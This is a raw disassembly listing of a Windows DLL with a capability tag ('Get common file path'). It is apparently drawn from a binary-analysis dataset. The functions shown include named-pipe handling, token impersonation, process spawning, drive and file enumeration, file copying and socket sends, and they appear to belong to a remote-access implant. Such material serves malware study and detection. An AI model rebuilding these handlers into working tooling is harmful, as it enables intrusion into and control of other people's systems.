Function at 0x18000f338
Capabilities:
Get common file path

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x40
mov rdi, rcx
mov ecx, 0x6000
mov ebx, edx
call fcn.18001473c
mov r12d, 0x2000
mov rcx, rax
mov edx, r12d
mov r15, rax
call fcn.18001489c
mov edx, r12d
mov rcx, r15
mov r14, rax
call fcn.18001489c
mov edx, r12d
mov rcx, r15
mov rsi, rax
call fcn.18001489c
lea rcx, [rsp + 0x20]
mov r8d, ebx
mov rdx, rdi
mov rbp, rax
call fcn.180014854
lea rcx, [rsp + 0x20]
mov r8d, r12d
mov rdx, r14
call fcn.180014938
mov r8d, r12d
mov rdx, rsi
mov rcx, r14
call fcn.180011320
lea rcx, [rsp + 0x20]
mov r8d, r12d
mov rdx, rbp
call fcn.180014938
mov rcx, rsi
call fcn.18000c9cc
mov r8d, r12d
mov rcx, r14
lea rdx, [rax + 4]
mov rbx, rax
mov dword [rax], 1
call fcn.180011320
lea rdx, [rbx + 0x2004]
mov r8d, r12d
mov rcx, rbp
call fcn.180011320
mov rcx, r15
call fcn.180014830
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r12
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, qword [0x180046c60]
mov rdi, rcx
lea rcx, [rsp + 0x20]
mov edx, 0x8000
call fcn.18000cfcc
jmp 0x18000c8c5
cmp dword [rbx], 1
jne 0x18000c8be
lea r8, [rbx + 0x2004]
lea rdx, [0x1800306f0]
lea rcx, [rsp + 0x20]
call fcn.18000d02c
mov rbx, qword [rbx + 0x4008]
test rbx, rbx
jne 0x18000c8a1
lea rcx, [rsp + 0x20]
call fcn.180014898
lea rcx, [rsp + 0x20]
mov ebx, eax
call fcn.18000d098
xor r8d, r8d
mov rcx, rax
mov edx, ebx
call rdi
lea rcx, [rsp + 0x20]
call fcn.18000cfa8
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rsi, qword [0x180046c60]
mov rdi, rcx
mov r14d, 0x2000
mov ecx, r14d
movsxd rbx, edx
call fcn.18001d1c8
mov r8d, r14d
mov rcx, rdi
mov rdx, rax
mov rbp, rax
mov byte [rbx + rdi], 0
call fcn.180011320
jmp 0x18000c998
cmp dword [rsi], 1
jne 0x18000c991
lea rcx, [rsi + 4]
mov r8, rbp
mov rax, rcx
sub r8, rcx
movzx edx, byte [rax]
movzx r9d, byte [rax + r8]
sub edx, r9d
jne 0x18000c972
inc rax
test r9d, r9d
jne 0x18000c95d
test edx, edx
jne 0x18000c991
and dword [rsi], edx
mov r8, r14
call fcn.18001d470
lea rcx, [rsi + 0x2004]
mov r8, r14
xor edx, edx
call fcn.18001d470
mov rsi, qword [rsi + 0x4008]
test rsi, rsi
jne 0x18000c94b
mov r8, r14
xor edx, edx
mov rcx, rbp
call fcn.18001d470
mov rcx, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp fcn.18001d188
push rbx
sub rsp, 0xd0
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
xor r9d, r9d
call fcn.18000d784
test eax, eax
je 0x18000d283
lea rcx, [rsp + 0x20]
call fcn.18000d584
test eax, eax
je 0x18000d277
mov ebx, dword [rsp + 0x20]
mov rcx, qword [rsp + 0xb8]
add rbx, rcx
cmp word [rsp + 0xb0], 2
je 0x18000d266
movsxd rdx, dword [rsp + 0x30]
call fcn.18001271c
test eax, eax
je 0x18000d277
mov edx, dword [rsp + 0xa0]
mov rcx, qword [rsp + 0x98]
call rbx
lea rcx, [rsp + 0x20]
xor edx, edx
call fcn.18000d0d4
add rsp, 0xd0
pop rbx
ret
cmp edx, 0x3ff
jg 0x18000f08f
push rbx
sub rsp, 0x420
movsxd rbx, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
mov r8, rbx
call fcn.18001e880
lea rcx, [rsp + 0x20]
mov byte [rsp + rbx + 0x20], 0
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
add rsp, 0x420
pop rbx
ret
sub rsp, 0x48
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.180014854
lea rcx, [rsp + 0x20]
call fcn.180014864
mov ecx, eax
call fcn.18001a9fc
add rsp, 0x48
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov rdi, rcx
mov ecx, 0x8000
mov ebx, edx
call fcn.18001473c
mov r13d, 0x2000
mov rcx, rax
mov edx, r13d
mov r12, rax
call fcn.18001489c
mov edx, r13d
mov rcx, r12
mov rbp, rax
call fcn.18001489c
mov edx, r13d
mov rcx, r12
mov rsi, rax
call fcn.18001489c
mov edx, r13d
mov rcx, r12
mov r14, rax
call fcn.18001489c
lea rcx, [rsp + 0x20]
mov r8d, ebx
mov rdx, rdi
mov r15, rax
call fcn.180014854
lea rcx, [rsp + 0x20]
mov r8d, r13d
mov rdx, rbp
call fcn.180014938
lea rcx, [rsp + 0x20]
mov r8d, r13d
mov rdx, r14
call fcn.180014938
lea rcx, [rsp + 0x20]
call fcn.180014900
mov r8d, r13d
mov rdx, rsi
mov rcx, rbp
movzx ebx, ax
call fcn.180011320
mov r9d, r13d
mov r8, rsi
mov edx, r13d
mov rcx, r15
call fcn.18001e78c
mov r9d, r13d
mov r8, r14
mov edx, r13d
mov rcx, r15
call fcn.18001e78c
test bl, 1
je 0x18000f1eb
lea rcx, [rsp + 0x80]
call fcn.1800113a4
movzx r8d, bx
or rax, 0xffffffffffffffff
inc rax
cmp byte [r15 + rax], 0
jne 0x18000f1c7
lea edx, [rax + 1]
mov rcx, r15
call fcn.18000f97c
mov rcx, qword [rsp + 0x80]
call fcn.1800113dc
jmp 0x18000f208
movzx r8d, bx
or rax, 0xffffffffffffffff
inc rax
cmp byte [r15 + rax], 0
jne 0x18000f1f3
lea edx, [rax + 1]
mov rcx, r15
call fcn.18000f97c
mov rcx, r12
call fcn.180014830
lea r11, [rsp + 0x40]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x3c8]
sub rsp, 0x4c0
mov rsi, rcx
movsxd rdi, edx
mov ebx, 0x68
lea rcx, [rsp + 0x50]
xor edx, edx
mov r8d, ebx
call fcn.18001d470
xor eax, eax
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x50], ebx
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rax
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
xor r14d, r14d
mov word [rbp - 0x70], r14w
mov qword [rbp - 0x58], r14
mov qword [rbp - 0x50], r14
mov qword [rbp - 0x60], r14
mov dword [rbp - 0x74], 0x101
cmp edi, 0x3ff
jg 0x18000f2ec
lea rcx, [rbp - 0x40]
mov r8, rdi
mov rdx, rsi
call fcn.18001e880
lea r9, [rsp + 0x30]
lea r8, [rsp + 0x50]
lea rcx, [rbp - 0x40]
mov edx, edi
mov dword [rsp + 0x28], r14d
mov byte [rbp + rdi - 0x40], r14b
mov dword [rsp + 0x20], r14d
call fcn.180015fb8
lea rcx, [rsp + 0x30]
call fcn.180012e70
lea r11, [rsp + 0x4c0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
sub rsp, 0x48
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.180014854
lea rcx, [rsp + 0x20]
call fcn.180014864
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x48
ret
push rbx
sub rsp, 0x820
mov rbx, rcx
lea rcx, [rsp + 0x21]
xor edx, edx
mov r8d, 0x7ff
mov byte [rsp + 0x20], 0
call fcn.18001d470
lea rdx, [rsp + 0x20]
mov ecx, 0x800
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
test eax, eax
je 0x18000f37e
lea rcx, [rsp + 0x20]
mov r8d, reloc.WS2_32.dll_send
mov edx, eax
call rbx
add rsp, 0x820
pop rbx
ret
push rbx
sub rsp, 0x20
mov rbx, r8
call fcn.18001a7c0
mov edx, 4
lea r8d, [rdx + 0x22]
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x40], eax
call rbx
add rsp, 0x20
pop rbx
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x60
mov rdi, rcx
mov ecx, 0x4c00
mov ebx, edx
call fcn.18001473c
mov edx, 0x4000
mov rcx, rax
mov rsi, rax
call fcn.18001489c
mov r13d, 0x400
mov rcx, rsi
mov edx, r13d
mov rbp, rax
call fcn.18001489c
mov edx, r13d
mov rcx, rsi
mov r12, rax
call fcn.18001489c
mov edx, r13d
mov rcx, rsi
mov r14, rax
call fcn.18001489c
lea rcx, [rsp + 0x30]
mov r8d, ebx
mov rdx, rdi
mov r15, rax
call fcn.180014854
lea rcx, [rsp + 0x30]
mov r8d, r13d
mov rdx, r12
call fcn.180014938
test eax, eax
jne 0x18000f44c
mov rcx, rsi
call fcn.180014830
jmp 0x18000f4c7
lea rcx, [rsp + 0x30]
mov r8d, r13d
mov rdx, r14
call fcn.180014938
test eax, eax
je 0x18000f442
lea rcx, [rsp + 0x30]
mov r8d, r13d
mov rdx, r15
call fcn.180014938
test eax, eax
je 0x18000f442
lea rcx, [rsp + 0x30]
mov r8d, 0x4000
mov rdx, rbp
call fcn.180014938
test eax, eax
je 0x18000f442
call fcn.18001c09c
lea rax, [rsp + 0x48]
mov r9, rbp
mov qword [rsp + 0x28], rax
and dword [rsp + 0x20], 0
mov r8, r15
mov rdx, r14
mov rcx, r12
call fcn.180010770
call fcn.18001c0cc
mov rcx, rsi
call fcn.180014830
lea rcx, [rsp + 0x48]
call fcn.180012e70
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r14
lea rbp, [rax - 0x5f]
sub rsp, 0xe0
mov rdi, rcx
mov ebx, edx
mov esi, 0x68
lea rcx, [rbp - 0x29]
xor edx, edx
mov r8d, esi
call fcn.18001d470
xor eax, eax
lea rcx, [rbp - 0x29]
mov dword [rbp - 0x29], esi
mov qword [rbp - 0x59], rax
mov qword [rbp - 0x51], rax
mov qword [rbp - 0x49], rax
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
xor r12d, r12d
mov ecx, 0x2000
mov word [rbp + 0x17], r12w
mov qword [rbp + 0x2f], r12
mov qword [rbp + 0x37], r12
mov qword [rbp + 0x27], r12
mov dword [rbp + 0x13], 0x101
call fcn.18001473c
mov edx, 0x2000
mov rcx, rax
mov r14, rax
call fcn.18001489c
lea rcx, [rbp - 0x41]
mov r8d, ebx
mov rdx, rdi
mov rsi, rax
call fcn.180014854
lea rcx, [rbp - 0x41]
call fcn.180014864
lea rcx, [rbp - 0x41]
mov r8d, 0x2000
mov rdx, rsi
mov ebx, eax
call fcn.180014938
or rdx, 0xffffffffffffffff
inc rdx
cmp byte [rsi + rdx], r12b
jne 0x18000f5a2
mov dword [rsp + 0x30], ebx
lea r9, [rbp - 0x59]
lea r8, [rbp - 0x29]
mov rcx, rsi
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
call fcn.180015e08
mov rcx, r14
call fcn.180014830
lea rcx, [rbp - 0x59]
call fcn.180012e70
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop r12
pop rbp
ret
jmp 0x18002c8b8
push rbx
sub rsp, 0x40
xor ebx, ebx
cmp dword [section..data], ebx
je 0x18000f64d
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.180014854
lea rcx, [rsp + 0x20]
call fcn.180014864
lea rcx, [rsp + 0x20]
mov dword [section..data], eax
call fcn.180014864
lea ecx, [rax - 1]
cmp ecx, 0x62
cmova eax, ebx
mov dword [0x180046c68], eax
add rsp, 0x40
pop rbx
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x40
mov ebx, edx
mov rdi, rcx
or rsi, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea rcx, [rsp + 0x20]
mov r8d, ebx
mov rdx, rdi
lea ebp, [rax + 0xea60]
call fcn.180014854
lea rcx, [rsp + 0x20]
call fcn.1800149b0
lea rcx, [rsp + 0x20]
mov r14, rax
call fcn.180014864
lea rcx, [rsp + 0x20]
mov r15d, eax
call fcn.1800147b8
lea rcx, [rsp + 0x20]
mov rbx, rax
call fcn.180014898
mov edi, eax
call fcn.18000ed44
jmp 0x18000f6ea
mov edx, r15d
mov rcx, r14
call fcn.18000faf4
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x18000f72a
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, ebp
jb 0x18000f6cb
mov ecx, 0x46
call fcn.18000e374
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rsi
call sub.WS2_32.dll_closesocket
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x40
pop r15
pop r14
pop rdi
ret
xor r9d, r9d
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call sub.WS2_32.dll_send
jmp 0x18000f6fe
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0xd0
mov ebx, edx
mov rdi, rcx
xor esi, esi
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea rcx, [rbp - 0x51]
mov r8d, ebx
mov rdx, rdi
lea r14d, [rax + 0xea60]
call fcn.180014854
lea rdx, [rbp - 0x39]
lea rcx, [rbp - 0x51]
mov r8d, 0x80
call fcn.180014938
lea rcx, [rbp - 0x51]
call fcn.1800147b8
lea rcx, [rbp - 0x51]
mov rdi, rax
call fcn.180014898
xor ebx, ebx
mov dword [rbp + 0x77], eax
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 0x39]
call fcn.1800130c8
test eax, eax
jne 0x18000f7ff
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x35
je 0x18000f7e3
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, r14d
jae 0x18000f7e3
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 0xa
jb 0x18000f7aa
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [rbp - 0x39]
mov ecx, gethostbyname
mov r8d, eax
call fcn.18000e394
jmp 0x18000f881
mov rcx, qword [rbp - 0x59]
and qword [rsp + 0x20], rsi
lea r9, [rbp + 0x7f]
lea rdx, [rbp + 0x77]
mov r8d, 4
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [rbp + 0x77]
test eax, eax
je 0x18000f859
mov ebx, 0x2000
mov rcx, qword [rbp - 0x59]
sub eax, esi
mov edx, esi
cmp eax, ebx
lea r9, [rbp + 0x7f]
cmova eax, ebx
and qword [rsp + 0x20], 0
add rdx, rdi
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x18000f859
add esi, dword [rbp + 0x7f]
mov eax, dword [rbp + 0x77]
cmp esi, eax
jb 0x18000f828
mov rcx, qword [rbp - 0x59]
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov rcx, qword [rbp - 0x59]
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rcx, qword [rbp - 0x59]
call fcn.18001aa30
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
mov rbp, rcx
mov ecx, 0x400
mov rbx, r8
mov esi, edx
call fcn.18001d1c8
mov rdi, rax
test rax, rax
je 0x18000f965
lea rcx, [rsp + 0x20]
mov r8d, esi
mov rdx, rbp
call fcn.180014854
lea rcx, [rsp + 0x20]
mov r8d, 0x400
mov rdx, rdi
call fcn.180014938
mov rcx, rdi
test eax, eax
jne 0x18000f8ff
call fcn.18001d188
jmp 0x18000f965
mov rdx, rbx
call fcn.18001e560
mov rsi, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x18000f94b
lea rcx, [rsp + 0x20]
call fcn.180014898
lea rcx, [rsp + 0x20]
movsxd rbx, eax
call fcn.1800147b8
mov r9, rsi
mov r8, rbx
mov edx, 1
mov rcx, rax
call fcn.18001e6fc
mov rcx, rsi
call fcn.18001e420
mov rcx, rdi
jmp 0x18000f8f8
mov rcx, rdi
call fcn.18001d188
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 8
mov edx, eax
call fcn.18000e2a8
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
push rbx
sub rsp, 0x20
mov rbx, rcx
mov rcx, qword [0x180040020]
cmp rcx, 0xffffffffffffffff
je 0x18000fbcd
mov edx, 0x3a98
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [0x180040018]
cmp rcx, 0xffffffffffffffff
je 0x18000fc1c
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
jne 0x18000fbfb
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, ntohs
mov edx, eax
add rsp, 0x20
pop rbx
jmp fcn.18000e2a8
mov rax, qword [0x180040018]
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 0x24]
mov qword [0x18004bc88], rax
mov rax, rbx
add rsp, 0x20
pop rbx
jmp rax
mov ecx, 1
add rsp, 0x20
pop rbx
jmp fcn.18000e374
cmp edx, 0x100
jge 0x18000fcc5
push rbx
sub rsp, 0x140
movsxd rbx, edx
mov rdx, rcx
lea rcx, [rsp + 0x40]
mov r8, rbx
call fcn.18001d860
and qword [rsp + 0x38], 0
and dword [rsp + 0x30], 0
and dword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
or rax, 0xffffffffffffffff
lea edx, [rax + 4]
lea r9d, [rax + 3]
lea r8d, [rax + 5]
lea rcx, [rsp + 0x40]
mov byte [rsp + rbx + 0x40], 0
mov qword [0x180040018], rax
mov qword [0x180040010], rax
mov qword [0x180040020], rax
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov qword [0x180040010], rax
test rax, rax
je 0x18000fcbd
lea rcx, [0x18000fdac]
xor edx, edx
call fcn.18001b9c0
mov qword [0x180040020], rax
add rsp, 0x140
pop rbx
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
mov rdi, rcx
mov ebx, edx
lea rcx, [rsp + 0x20]
mov edx, 0x8000
mov rsi, r8
call fcn.18000cfcc
cmp qword [0x18004bc88], 0
je 0x18000fd1a
call fcn.18001c09c
mov r8, qword [0x18004bc88]
lea r9, [rsp + 0x20]
mov edx, ebx
mov rcx, rdi
call fcn.18000fe7c
call fcn.18001c0cc
jmp 0x18000fd61
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x68]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x18000fd57
mov r8, qword [rsp + 0x68]
lea r9, [rsp + 0x20]
mov edx, ebx
mov rcx, rdi
call fcn.18000fe7c
mov rcx, qword [rsp + 0x68]
call fcn.18001aa30
jmp 0x18000fd61
mov ecx, 0x3b
call fcn.18000e374
lea rcx, [rsp + 0x20]
call fcn.180014898
test eax, eax
je 0x18000fd8f
lea rcx, [rsp + 0x20]
call fcn.180014898
lea rcx, [rsp + 0x20]
mov ebx, eax
call fcn.18000d098
xor r8d, r8d
mov rcx, rax
mov edx, ebx
call rsi
lea rcx, [rsp + 0x20]
call fcn.18000cfa8
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x50
mov rdi, rcx
mov ecx, 0x1000
mov r13, r8
mov ebx, edx
call fcn.18001473c
mov r14d, 0x800
mov rcx, rax
mov edx, r14d
mov rbp, rax
call fcn.18001489c
mov edx, r14d
mov rcx, rbp
mov rsi, rax
call fcn.18001489c
lea rcx, [rsp + 0x38]
mov r8d, ebx
mov rdx, rdi
mov r12, rax
call fcn.180014854
lea rcx, [rsp + 0x38]
mov r8d, r14d
mov rdx, rsi
call fcn.1800149dc
lea rdx, [0x180030770]
mov rcx, rsi
call fcn.18001e560
mov rdi, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x180010b44
xor edx, edx
mov rcx, rax
lea r8d, [rdx + 2]
call fcn.18001ede4
mov rcx, rdi
call fcn.18001ee58
xor r8d, r8d
xor edx, edx
mov rcx, rdi
mov r15, rax
call fcn.18001ede4
lea rcx, [r15 - 1]
mov eax, 0xfffffffe
cmp rcx, rax
ja 0x180010b25
xor r9d, r9d
mov r8, r12
mov edx, r14d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFullPathNameA]
mov r14d, eax
lea ecx, [rax - 1]
cmp ecx, 0x7ff
ja 0x180010b1e
mov ecx, 0x18
call fcn.18001d1c8
mov rcx, qword [0x180046cc8]
mov r8d, dword [0x180046cd0]
mov qword [rax + 0x10], rcx
mov dword [rax], r8d
inc r8d
lea rcx, [rsp + 0x20]
mov edx, 0x1000
mov rbx, rax
mov qword [rax + 8], rdi
mov dword [rax + 4], r15d
mov qword [0x180046cc8], rax
mov dword [0x180046cd0], r8d
call fcn.18000cfcc
mov edx, dword [rbx]
lea rcx, [rsp + 0x20]
call fcn.18000cffc
lea rcx, [rsp + 0x20]
mov edx, r15d
call fcn.18000cffc
lea rcx, [rsp + 0x20]
mov r8d, r14d
mov rdx, r12
call fcn.18000cf40
lea rcx, [rsp + 0x20]
call fcn.180014898
lea rcx, [rsp + 0x20]
mov ebx, eax
call fcn.18000d098
mov r8d, 2
mov rcx, rax
mov edx, ebx
call r13
lea rcx, [rsp + 0x20]
call fcn.18000cfa8
jmp 0x180010b51
mov ecx, 0x3d
jmp 0x180010b2a
mov ecx, 0x3c
mov rdx, rsi
call fcn.18000e384
mov rcx, rbp
call fcn.180014830
mov rcx, rdi
call fcn.18001e420
jmp 0x180010b59
mov rdx, rsi
mov ecx, 0x28
call fcn.18000e384
mov rcx, rbp
call fcn.180014830
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov ecx, dword [rcx]
mov rbx, qword [0x180046cc8]
call sub.WS2_32.dll_ntohl
mov edi, eax
jmp 0x180010ba9
cmp dword [rbx], edi
jne 0x180010ba5
mov rcx, qword [rbx + 8]
and dword [rbx + 4], 0
call fcn.18001e420
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x180010b94
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
mov rsi, rcx
mov ecx, 0x4000
mov edi, edx
call fcn.18001473c
mov edx, 0x2000
mov rcx, rax
mov r14, rax
call fcn.18001489c
mov edx, 0x2000
mov rcx, r14
mov rbp, rax
call fcn.18001489c
lea rcx, [rsp + 0x20]
mov r8d, edi
mov rdx, rsi
mov rbx, rax
call fcn.180014854
lea rcx, [rsp + 0x20]
mov r8d, 0x2000
mov rdx, rbp
call fcn.180014938
lea rcx, [rsp + 0x20]
mov r8d, 0x2000
mov rdx, rbx
call fcn.180014938
xor r8d, r8d
mov rdx, rbx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x180010e0e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, reloc.WS2_32.dll_listen
mov edx, eax
call fcn.18000e2a8
mov rcx, r14
call fcn.180014830
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
push rbx
sub rsp, 0x40
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.180014854
lea rcx, [rsp + 0x20]
mov edx, 0x4000
call fcn.180014a24
mov rcx, rax
mov rbx, rax
call fcn.18001138c
mov rcx, rbx
test eax, eax
je 0x180010e81
lea rdx, [0x1800112a8]
call fcn.1800177f0
mov rcx, rbx
call fcn.18001f2c8
jmp 0x180010e86
call fcn.18001f1a8
mov rcx, rbx
call fcn.18001d188
add rsp, 0x40
pop rbx
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov rdi, r8
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x38]
call fcn.180014854
lea rcx, [rsp + 0x20]
mov edx, 0x80
call fcn.18000cfcc
lea rcx, [rsp + 0x38]
call fcn.180014864
lea rcx, [rsp + 0x20]
mov edx, eax
call fcn.18000cffc
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
lea rdx, [0x180030774]
lea rcx, [rsp + 0x20]
mov r8d, eax
call fcn.18000d02c
lea rcx, [rsp + 0x20]
call fcn.180014898
lea rcx, [rsp + 0x20]
mov ebx, eax
call fcn.18000d098
mov r8d, reloc.WS2_32.dll_shutdown
mov rcx, rax
mov edx, ebx
call rdi
lea rcx, [rsp + 0x20]
call fcn.18000cfa8
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0xf8]
sub rsp, 0x1e0
mov rdi, rcx
mov r15d, 0x4000
mov r14, r8
mov ecx, r15d
mov ebx, edx
call fcn.18001d1c8
mov r8d, r15d
xor edx, edx
mov rcx, rax
mov rsi, rax
call fcn.18001d470
lea rcx, [rsp + 0x78]
mov r8d, ebx
mov rdx, rdi
call fcn.180014854
lea rcx, [rsp + 0x78]
call fcn.180014864
lea rcx, [rsp + 0x78]
mov r8d, r15d
mov rdx, rsi
mov ebx, eax
call fcn.180014938
lea rcx, [rsp + 0x60]
mov edx, 0x200000
call fcn.18000cfcc
lea rcx, [rsp + 0x60]
mov edx, ebx
call fcn.18000cffc
lea rdx, [0x180030780]
mov r8d, r15d
mov rcx, rsi
call fcn.18001f200
test eax, eax
jne 0x180010ff1
mov rdx, rsi
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea r8, [0x180030784]
mov r9d, 2
mov edx, r15d
mov rcx, rsi
call fcn.18001e78c
lea rdx, [0x1800306f0]
lea rcx, [rsp + 0x60]
mov r8, rsi
call fcn.18000d02c
lea rdx, [rbp - 0x60]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x180011060
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [rbx + 0x35]
mov rdx, rsi
mov r8d, eax
call fcn.18000e394
lea rcx, [rsp + 0x60]
call fcn.180014898
lea rcx, [rsp + 0x60]
mov ebx, eax
call fcn.18000d098
mov r8d, reloc.WS2_32.dll_shutdown
mov rcx, rax
mov edx, ebx
call r14
mov rcx, rsi
call fcn.18001d188
jmp 0x180011179
mov rcx, rsi
call fcn.18001d188
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x4c]
call qword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
